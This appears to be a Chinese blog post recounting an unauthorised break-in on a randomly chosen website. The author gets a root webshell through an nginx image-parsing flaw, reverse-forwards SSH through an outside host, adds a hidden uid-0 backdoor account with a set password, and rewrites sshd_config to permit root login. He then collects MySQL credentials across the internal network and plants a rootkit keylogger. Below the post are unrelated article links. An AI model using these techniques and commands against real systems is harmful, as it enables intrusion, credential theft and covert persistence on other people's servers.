Linux渗透+SSH内网转发
http://www.jb51.net/hack/58514.html
http://blog.chinaunix.net/uid-756931-id-353243.html
http://www.noah.org/wiki/SSH_tunnel
http://www.myhack58.com/Article/60/63/2013/38396_3.htm
http://www.chinaitlab.com/cisco/others/923866.html
前两天,无聊,想日站了,随便搜了个关键字,找了个站,直接开搞。。于是,有了下文。。
(说明:感觉是第一次真正日Linux,很多不懂,写的比较详细。。大牛飘过)二.信息探测,拿shell(nagio)
首先,随便看看链接,发现居然都没有后缀名。。感觉难以下手,114查查看,发现同服还是有很多站的~~。这下心里放心多了,心想如果主站搞不定,就可以旁注了。继续从主站下手。想先搞清楚服务器信息,于是抓包观察:
看到网站上面有个会员登录,注册的地方:
既然如此,就注册吧,因为一般会员有上传功能。 随便注册一个,发现都不验证,直接给通过。。注册后,来到我的空间:
发现可以上传图片。。于是随便上传一个图片,然后访问连接,提示图片不存在。
不知是神马原因,难道没有上传上去?想到了nginx的解析漏洞,随手在后面加个/x.php,发现居然显示了解析了图片。。看来似乎真是nginx。。果然上传大马,然后访问之:
OK成功得到shell。服务器上也写了,是nginx。。看看权限:
居然是root权限。。操作系统:CentOS 5.4
Linux一般想要SSH登录。。我们看看开放端口:
OK,22端口开放。看看服务器IP,确定是否在内网:
然后,测试主机能否上外网。ping外网试试:
发现可以。然后扫描端口:
发现只开放了80和8080端口。
考虑端口转发,以登录ssh.。
三.内网SSH转发:
上传工具到外网某主机:
由于目标主机是linux,因此,-listen时,后面跟上 -linux:
然后,ssh客户端先远程连接该主机的3001端口,外网主机显示有连接:
然后反弹ssh:
外网中,可以看到已经收到了连接:
很快,ssh客户端也有了反应,说明反弹SSH成功。我不知道密码,而webshell下无法添加密码。我们先去看看ssh的配置文件:
我们可以看到,不允许root登录。那是否运行空密码登录呢?配置文件显示,也是不允许。
新建一个root账户
[代码]bash代码:
useradd -u 0 -o -g root -G root -d /home/game game
然后给它添加密码
[代码]bash代码:
echo xxx | passwd --stdin game
密码修改成功
然后,用这个用户登录:SSH登录,还是失败。。试了N久,ssh配置文件也没有发现只允许特定用户访问。。后来突然想到,里面有不允许root访问。。难道root指root用户组??
OK,我们可以试试新建一个普通用户。。然后登录,成功SSH登录,登录成功
但是得到一个普通权限的SSH,显然不是我们想要的。。而ssh配置文件无法在webshell下直接修改,估计普通用户权限也无法修改。怎么办呢?其实很简单,把配置文件复制出来,修改后,再拷贝回去,然后重启SSH,就可以了。
OK,我们把root改为允许登录:
拷贝过去:
[代码]bash代码:
cp /tmp/sshd_config /etc/ssh/sshd_config
然后,重启SSH服务:
[代码]bash代码:
service sshd restart
然后,再次使用root登录,OK,成功:
试用了一下SSH,发现真的很强大,就像本地操作shell一样方便。。。
四.内网渗透尝试
首先,上面说了,代理服务器开了80和8080端口,访问80端口,发现可以任意访问。。内容就是内网各个主机的流量统计。。大概有10台左右:
Choose Node,中,可以看到,使用该主机作为代理的各个服务器。(这里面包括很多信息,有mysql,nginx,有各个系统的信息等等)
貌似内网的主机全是CentOS。通过查找配置文件,得到了两个内网主机的MYSQL帐号和密码。后面,得到了内网主机中所有MYSQL数据库的帐
号和密码,并且可以成功登录。只有root帐号密码解不开。但其他密码都是123456等简单的密码。而且内网主机全部开放了22端口。用这么密码和账户
去登录,全部失败。。。目测账户black为整个网站的管理员。但其SSH密码结不出来。。
后来,经过几天的摸索,发现了一个事情:Web主机其实是两台CentOS,上午用IP为xxx.10的,下午用xxx.251的主机。当时没有搞清楚,还让我纠结了好久。
现在内网的情况,基本就是:我有两台主机的root权限,可以登录所有MYSQL数据库,而且有的主机MYSQL数据库可以进行文件读写,不过不能读取/etc/shadow等重要文件。
解开MYSQL帐号密码后,也无法SSH登录其他主机。
内网中有两台主机也是运行nagix,如果能够访问,可能也可以秒杀。不过我没有外网的LINUX主机,又不想在windows肉鸡上安装SSH,所以也不能用SSH隧道来访问内网的服务器了。。
最后,黔驴技穷,只好种了rootkit,坐等键盘记录了。。虽然我最不想用这种方法,但是目前只能如此了。。
五.后记
这个内网比较大,而且感觉C段和这个网站关系也比较大。。所以,如果键盘记录得到了有效的东西,会继续的。。。
(其实实际过程,比写的也曲折许多,不过实在是太多了,写的好累,就有些地方简写了一点。。)
Linux渗透+SSH内网转发的更多相关文章
- 通过SOCKS代理渗透整个内网
https://blog.csdn.net/SouthWind0/article/details/83111044 通过SOCKS代理渗透整个内网 1.背景 经过前期的渗透工作,我们现在已经成功找到了 ...
- NATAPP--实现SSH内网穿透
NATAPP--实现SSH内网穿透 1. 关于Natapp 2. 使用Natapp 3. Natapp安装和配置 4. XShell连接 相关参考博文原文地址: CSDN:KevenPotter:NA ...
- SSH 内网端口转发实战
导读 大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人. 如果两个内网之间的linux服务器需要互相登录,或需要互相访问内网某个端口,担忧 ...
- 外网ssh内网Linux服务器holer实现
外网ssh访问内网linux 内网的主机上安装了Linux系统,只能在局域网内访问,怎样从公网也能ssh访问本地Linux服务器? 本文将介绍使用holer实现的具体步骤. 1. 准备工作 1.1 安 ...
- Tunna内网转发
Tunna和reduh原理一样.. 使用方法: 上传源码包中文件夹webshell下的脚本至网站目录 然后本地进行连接上传的webshell即可 python proxy.py -u http://1 ...
- windows(Linux)创建”内网穿透“工具(通过自定义域名访问部署于内网的 web 服务,可以用于调试微信支付,支付宝支付,微信公众号等开发项目)
此方法需要自有服务器和域名,如果没有这些的开发者, 可以参考钉钉提供的内网穿透方式:https://www.cnblogs.com/pxblog/p/13862376.html 一.准备工作 1.域名 ...
- LINUX 下 NMAP 内网扫描
#1.扫描内网存活主机 nmap -sP 10.2.24.* |grep for > tmp #2.扫描主机端口 nmap -A -T4 192.168.1.2 #3.扫描主机的所有端口 nma ...
- lcx.exe内网转发命令教程 + LCX免杀下载
作者: 小健 本机: lcx -listen 2222 3333 2222为转发端口,3333为本机任意未被占用的端口 肉鸡:lcx -slave 119.75.217.56 2222 127.0.0 ...
- iptables 实现内网转发上网
介绍 通过iptables做nat转发实现所有内网服务器上网. 操作 首先开启可以上网的服务器上的内核路由转发功能.这里我们更改/etc/sysctl.conf 配置文件. [root@web1 /] ...
随机推荐
- 用yum查询想安装的软件
1.使用YUM查找软件包 命令:yum search~ 2.列出所有可安装的软件包 命令:yum list 3.列出所有可更新的软件包 命令:yum list updates 4.列出所有 ...
- expect 参数处理之一
expect 参数处理之一 expect是很强悍的脚本,网上资源虽然很经典,但很少,我把自己的测试脚本贴之,仅作参考 #!/usr/bin/expect -f proc help {} { puts ...
- Swift - 协议(protocol)
1,Swift中协议类似于别的语言里的接口,协议里只做方法的声明,包括方法名.返回值.参数等信息,而没有具体的方法实现. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ...
- ASP.NET 常用内置对象详解-----Response
利用提供的内置对象,可以实现页面之间的数据传递及实现一些特定的功能,如:缓冲输出,页面重定向等等. Response :响应,反应 Request:请求 Server:服务器 Application: ...
- 调用一个系统命令,并读取它的输出值(使用QProcess.readAll)
下面我们再看一个更复杂的例子,调用一个系统命令,这里我使用的是 Windows,因此需要调用 dir:如果你是在 Linux 进行编译,就需要改成 ls 了. mainwindow.h #ifndef ...
- TCP连接的建立(二)
被动打开 SYN cookies TCP协议开辟了一个比較大的内存空间请求连接队列来存储连接请求块,当SYN请求不断添加,请求连接数目到达上限时,会致使系统丢弃SYN连接请求.SYN cookies技 ...
- Mybatis 3 返回布尔值,需要注意的地方
在Mybatis中,有时候需要返回布尔值 ,来确定某个记录行是否存在. 例如: <select id="isExistCode" parameterType="st ...
- 14.3.4 Phantom Rows 幻影行
14.3.4 Phantom Rows 幻影行 所谓的幻读为发生在一个事务 当相同的查询产生不同的结果集在不同的时间. 比如,如果一个SELECT被执行2次, 但是第2次返回的记录不是第一次返回的记录 ...
- osc搜索引擎框架search-framework,TngouDB,gso,
项目目的:OSChina 实现全文搜索的简单封装框架 License: Public Domain 包含内容: 重建索引工具 -> IndexRebuilder.java 增量构建索引工具 -& ...
- 【Cocos2d-X开发笔记】第一期 Cocos2d-X的环境搭建
作者今天开始正式开始学习Cocos2d-X引擎进行游戏编程,预计两天会更新一期,最后实现ios游戏的appsore上线. (部分内容转载自:http://blog.csdn.net/yan ...